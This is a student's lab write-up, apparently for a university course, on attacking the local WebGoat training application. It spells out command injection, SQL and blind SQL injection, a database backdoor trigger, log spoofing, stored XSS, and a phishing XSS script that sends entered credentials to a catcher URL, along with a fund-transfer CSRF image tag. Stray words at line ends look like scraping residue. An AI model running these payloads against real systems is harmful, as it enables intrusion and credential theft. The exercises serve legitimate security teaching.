返回目錄javascript
理解經常使用網絡攻擊技術的基本原理。html
返回目錄java
- Webgoat實踐下相關實驗。
返回目錄git
10.211.55.10
)返回目錄github
SQL注入攻擊原理,如何防護?web
SQL注入攻擊就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL命令的目的。正則表達式
- 對於SQL注入攻擊的防範,我以爲主要仍是應該從代碼上入手:
- 採用預編譯語句集PreparedStatement,它內置了處理SQL注入的能力,只要使用它的setXXX方法傳值便可。它的原理就是SQL注入只對SQL語句的準備(編譯)過程有破壞做用,而PreparedStatement已經準備好了,執行階段只是把輸入串做爲數據處理,而再也不對SQL語句進行解析準備,所以也就避免了SQL注入問題;
- 使用正則表達式過濾傳入的參數,對一些包含sql注入的關鍵字進行過濾;
- 採用字符串過濾的方法;
- JSP中調用該函數檢查是否包含非法字符,防止SQL從URL注入。
XSS攻擊的原理,如何防護?sql
- XSS是代碼注入的一種,它容許惡意用戶將代碼注入到網頁上,並可以被瀏覽器成功的執行,其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。XSS攻擊的主要目的是,想辦法獲取目標攻擊網站的cookie,由於有了cookie至關於有了seesion,有了這些信息就能夠在任意能接進互聯網的pc登錄該網站,並以其餘人的身份登錄,作一些破壞。
- XSS的防護能夠從如下兩方面來進行:
- 一種方法是在表單提交或者url參數傳遞前,對須要的參數進行過濾;
- 檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出。
CSRF攻擊原理,如何防護?shell
- 咱們知道XSS是跨站腳本攻擊,就是在用戶的瀏覽器中執行攻擊者的腳本,來得到其cookie等信息。而CSRF是借用用戶的身份,向web server發送請求,由於該請求不是用戶本意,因此稱爲「跨站請求僞造」。
- 對於CSRF的防護也能夠從如下幾個方面入手:
- 經過referer、token或者驗證碼來檢測用戶提交;
- 儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post操做;
- 避免全站通用的cookie,嚴格設置cookie的域。
返回目錄數據庫
WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。
WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。WebGoat提供了一系列web安全學習的教程,某些課程也給出了視頻演示,指導用戶利用這些漏洞進行攻擊。
下載webgoat-container-7.0.1-war-exec.jar
:https://github.com/WebGoat/WebGoat/releases?after=8.0.0
開啓WebGoat,在終端中輸入命令:
java -jar webgoat-container-7.0.1-war-exec.jar
一大串代碼在飛奔,基本到了信息: Starting ProtocolHandler ["http-bio-8080"]
這一條消息以後就能夠繼續下一步了,以後你會發現全部的操做都會被她記下來2333
在Safari中輸入http://localhost:8080/WebGoat
進入WebGoat登陸界面,下方已經給出兩組用戶名和密碼:
成功登陸!左欄是可供咱們選擇的實踐課程:
一般咱們有如下兩種注入手段:
- 提早閉合正常代碼,輸入惡意代碼
- 處理因爲閉合正常代碼留下的尾巴
技術概念:
命令注入攻擊對任何一個以參數驅動的站點來講都是一個嚴重威脅。這種攻擊技術背後的技術方法,簡單易學,能形成大範圍的損害,危及系統安全。儘管這類風險數目使人難以置信,互聯網中的系統很容易受到這種形式的攻擊。
這種攻擊容易擴散,形成更壞的影響。可是對於這類威脅,一點常識和預先預防幾乎能夠徹底阻止。這節課將爲學員展現幾個參數注入的例子。
「清洗」全部輸入數據老是不錯的作法,尤爲是那些將被用於操做系統命令、腳本和數據庫查詢語句的數據。
原理:
在正常的參數提交過程當中,添加惡意的代碼,每每可以獲得之外的收穫。
目標:
可以在目標主機上執行任何系統命令。
右鍵點擊複選框,選擇inspect Element
審查網頁元素對源代碼進行修改,在末尾添加"& netstat -an & ipconfig"
:
點擊View
,攻擊成功:
比較一下正常的結果:
很明顯能夠看出遭到Command Injection攻擊的網頁在返回正常的結果以外還被輸入了shell指令而悄悄執行了netstat -an
命令並返回告終果!
原理:
在station字段中注入特徵字符,能組合成新的SQL語句。
SELECT * FROM weather_data WHERE station = [station]
目標:
下面的表單容許用戶查看天氣數據。請經過注入SQL字符串的方式查看全部的天氣數據。
右鍵點擊複選框,選擇inspect Element
審查網頁元素對源代碼value="101"
進行修改,在城市編號101後面添加or 1=1
:
點擊Go!
,攻擊成功,顯示全部城市的天氣狀況:
同時左側對應課程出現✅,代表我們作對啦^_^
主題:
本節課程將教會咱們如何使用障眼法。
原理:
這種攻擊是在日誌文件中愚弄人的眼睛,攻擊者能夠利用這種方式清除他們在日誌中的痕跡。
目標:
灰色區域表明在Web服務器的日誌中的記錄的內容。咱們的目的是使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」。
升級咱們的攻擊,例如:在日誌文件中插入腳本。
本節課程接受用戶輸入的任何一個用戶名,並將其追加到日誌文件中。在文本框中輸入用戶名:webgoat Login Succeeded for username admin
,這樣用戶名後面的信息會在同一行顯示,而不是在新的一行:
這樣我們能夠往該應用中注入回車(0D%
)和換行符(%0A
)。在 username中填入webgoat%0d%0aLogin Succeeded for username: admin
,這樣就完成了該課程:
這✅,沒毛病!
此外,攻擊者能夠利用這種方式向日志文件中添加惡意腳本,腳本的返回信息管理員可以經過瀏覽器看到。若是把admin <script>alert(document.cookie)</script>
做爲用戶名輸入會有什麼狀況發生呢?我們試一下哈:
唔...按道理應該會彈窗顯示cookie,但這個網頁可能並無將她保存下來吧^_^行了我們仍是接着看下一課吧……
原理:
基於如下查詢語句構造本身的SQL注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
目標:
下面的表格,容許用戶查看他們的信用卡號碼。嘗試經過SQL注入將全部信用卡信息顯示出來。嘗試的用戶名是「Smith」。
正常查詢結果應該只有員工Smith的信息:
根據咱們的經驗,將""
提早閉合,插入永真式而後註釋掉後面的東東應該就能夠了,所以輸入如下兩個代碼之一便可完成本課程內容:
Smith' or 1=1 --
' or 1=1 --
果不其然,哈哈哈全部員工的信息都被我們暴露無遺>_ <好危險吶> _<:
WebGoat讓咱們再試試其餘的方法,emmm試試就試試!
誰說不行的?也能夠嘛看到沒!!!
原理:
應用程序會將咱們咱們的輸入帶入後臺的SQL查詢語句。
目標:
使用SQL注入繞過認證。
Smith' or '1' = '1
:目標:
執行SQL注入繞過認證;
該課程的目的是經過注入語句,瀏覽到本來沒法瀏覽的信息。經過一個普通員工的帳戶,瀏覽其BOSS的帳戶信息。
首先使用用戶名Larry
和密碼larry
登陸,瀏覽員工信息的按鈕是ViewProfile
:
在多行文本框中被選中的員工Larry Stooge(employee)
上右鍵審查網頁元素,能夠看到此處是用員工ID做爲索引來傳送數據的,感受這裏的數據庫應該是以員工ID做爲索引,返回的是每次查詢到的第一條數據。用社會工程學解釋老闆應該是工資最高的,因此爲了把老闆排到第一個我們應該在員工ID101
後面給他加上這麼一些東西進行SQL注入排序,即:
101 or 1=1 order by salary desc
其中desc
表示使用降序排列。
再次點擊ViewProfile
,哈哈老闆的信息被咱們emmmmm:
哦我親愛的boss,咱們已經沒有祕密可言了(^_^)
點擊還能夠修改boss的信息!很是恐怖兄弟!
主題:
如何建立數據庫後門。
原理:
數據庫一般做爲一個Web應用程序的後端來使用。此外,它也用來做爲存儲的媒介。它也能夠被用來做爲存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另外一個數據庫操做,如insert,select,update or delete。舉個例子:攻擊者能夠建立一個觸發器,該觸發器在建立新用戶時,將每一個新用戶的Email地址設置爲攻擊者的地址。
目標:
咱們的目標是學習如何利用查詢的脆弱性建立觸發器。因爲WebGoat使用的是MySQL數據庫,不支持觸發器,因此該課程不會真正完成。
咱們的Login ID是101.
輸入101
,獲得該用戶的信息:
咱們發現輸入的語句沒有驗證,很容易進行SQL注入。輸入注入語句 101; update employee set salary=10000
(因爲要執行兩個語句,中間須要用分號分隔):
WebGoat良心地提示咱們成功了,可是還沒完,咱們須要使用如下查詢條件,添加觸發器:
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
搞定!
原理:
某些SQL注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語句。
目標:
下面的表單容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。
咱們的目標是找到pins表中cc_number字段值爲1111222233334444的記錄中pin字段的數值。pin字段類型爲int,整型。輸入找到的數值並提交,經過本課程。
咱們的Login ID是101.
本節課程中,服務端頁面返回的信息只有兩種:賬號有效或無效。所以沒法簡單地查詢到賬號的PIN數值。儘管如此,咱們能夠利用系統後臺在用的查詢語句。查詢語句以下:
SELECT * FROM user_data WHERE userid=accountNumber;
若是該查詢語句返回了賬號的信息,頁面將提示賬號有效,不然提示無效。使用AND函數,咱們能夠添加一些額外的查詢條件。若是該查詢條件一樣爲真,則返回結果應提示賬號有效,不然無效。例以下面兩個查詢方式:
101 AND 1=1
101 AND 1=2
在第一條語句中,兩個條件都成立,因此頁面返回賬號有效。而第二條則返回賬號無效。如今能夠針對查詢語句的後半部分構造複雜語句。下面的語句能夠告訴咱們PIN數值是否大於10000:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
頁面提示賬號無效,說明PIN<=10000。不斷調整數值,能夠縮小判斷範圍,並最終判斷出PIN數值的大小。最終以下語句返回賬號有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
在查詢框中輸入2364
並提交,經過本節課程^_^
原理:
某些SQL注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語句。
目標:
下面的表單容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。
下面的表單容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。
咱們的目標是找到pins表中cc_number字段值爲4321432143214321 的記錄中pin字段的數值。pin字段類型爲varchar。輸入找到的數值(最終的字符串,注意拼寫和大寫)並提交,經過本課程。
本節課程很是相似與上一節。最大的不一樣是要查詢的字段是一個字符串而不是數值。所以咱們一樣能夠經過注入的方式查找到該字段的值。查詢語句很是相似上一節,以下:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
該語句使用了SUBSTRING方法,取得pin字段數值的第一個字母,並判斷其是否比字母「H」小。SUBSTRING語法以下:
SUBSTRING(STRING,START,LENGTH)
通過屢次測試(比較 0-9A-Za-z 等字符串)和頁面的返回數據,判斷出第一個字符爲「J」。同理繼續判斷第二個字符:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
最終,判斷出pin字段的值爲:Jill
。提交該值,經過本節課程:
技術概念:
在服務端對全部輸入進行驗證老是不錯的作法。當用戶輸入非法HTTP響應時容易形成XSS。在XSS的幫助下,咱們能夠實現釣魚工具或向某些官方頁面中增長內容。對於受害者來講很難發現該內容是否存在威脅。
原理:
若是有權限操做頁面源代碼,那麼HTML文檔的內容是能夠被篡改的。
目標:
建立一個form,要求填寫用戶名和密碼。將數據提交到
http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
一個帶用戶名和密碼輸入框的表格以下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
搜索這段代碼,就能看到頁面中增長了一個表單:
如今咱們須要一段腳本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
最後,就是要將這兩段代碼合併。最終須要輸入的代碼以下:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
搜索這段代碼,咱們會看到一個要求輸入用戶名密碼的表單,輸入用戶名密碼,點擊登陸,WebGoat會將輸入的信息捕獲並反饋給咱們:
作完不忘皮一下,運用咱們所學html知識加上這行代碼,有奇效嘻嘻:
<img src="http://wx1.sinaimg.cn/mw690/0060lm7Tly1fruxvdioybj307s06ygmw.jpg" />
作題順便吸一口妹紙>_<
技術概念:
過濾全部用戶輸入是一個不錯的作法,特別是那些後期會被用做OS、腳本或數據庫查詢參數的輸入。尤爲是那些將要長期存儲的內容。用戶不能建立非法的消息內容,例如:能夠致使其餘用戶訪問時載入非預期的頁面或內容。
目標:
建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。
在title中任意輸入字符。在內容中輸入如下代碼:
<script>alert('xss')</script>
或者
<script language="javascript" type="text/javascript">alert("Ha Ha Ha");</script>
點擊提交,如圖所示:
點擊「happy 6.1」,這就比如我們剛建立的帖子,由本身或者其餘人瀏覽,而後會彈出一個對話框,證實XSS攻擊成功:
輸入<script language="javascript" type="text/javascript">alert(document.cookie);</script>
還能夠獲取當前瀏覽者cookie(雖然原本就沒有):
主題:
本節課程將指導咱們如何實現跨站請求僞造攻擊(CSRF)。
原理:
跨站請求僞造是一種讓受害者加載一個包含網頁的圖片的一種攻擊手段。以下代碼所示:
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>當受害者的瀏覽器試圖打開這個頁面時,它會使用指定的參數向
www.mybank.com
的transferFunds.do
頁面發送請求。瀏覽器認爲將會獲得一個圖片,但其實是一種資金轉移功能。該請求將包括與網站相關的任何cookies。所以,若是用戶已經經過網站的身份驗證,並有一個永久的cookie,甚至是當前會話的cookie,網站將沒有辦法區分這是不是一個從合法用戶發出的請求。經過這種方法,攻擊者可讓受害者執行一些他們原本沒打算執行的操做,如註銷、採購項目或者這個脆弱的網站提供的任何其餘功能。
目標:
在這一課中,咱們的目的是向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的URL指向一個惡意請求。嘗試一個包括1*1像素的圖像,其中包含一個網址。這個URL應當用一個額外的參數「transferFunds= 4000」指向CRSF課程頁面。咱們能夠經過左側菜單在CSRF課程鏈接上右鍵單擊,選擇複製快捷方式。不管誰收到這封郵件,並剛好已經經過身份驗證,他的資金將會被轉走。
注意:不一樣WebGoat環境的URL中「Screen」和「Menu」參數可能會有所區別。請使用咱們當前訪問URL中正在使用的參數。
要完成這一課,咱們須要在消息框中嵌入HTML代碼。這段代碼中包含一個圖片,連接到一個網站。在HTML中圖片的格式是:
<img src="[URL]" width="1" height="1" />
建立一個新消息,命名爲「Test」,消息中加入這段HTML代碼:
<img src="http://localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=5000" width="1" height="1" />
關鍵在於後面追加的&transferFunds=5000
,她能把受害人的money轉走!!!
其中Screen
和menu
兩個參數的值由課程右欄的Cookies / Parameters
中的Parameters
來肯定:
點擊提交後,咱們會在消息列表中看到一個新的消息20155314
:
點擊這個消息,會下載這個消息並以HTML的方式顯示:
該課完成!誒我怎麼少了5000塊錢??!>_<
時間緣由先只作這些了,不過我喜歡這種學習方式!感受先給你定一個small goal而後本身一點點摸索並在一個個Hints的幫助下最後找到solution的過程很刺激也很開心啊^_^以前老是不斷被SQL注入、XSS等概念洗腦卻一直不明白究竟是啥,這回總算本身體驗了一把,知道了攻擊原理和如何防範,其實做爲一名課(chi)題(jiao)負(bo)責(ke)人的我仍是對web安全這一塊很感興趣的!最後一次實驗就這麼結束了,在這裏祝我們可愛的lyd老師越活越年輕哈~!這門課上所學的一切但願往後還能相見( ̀⌄ ́)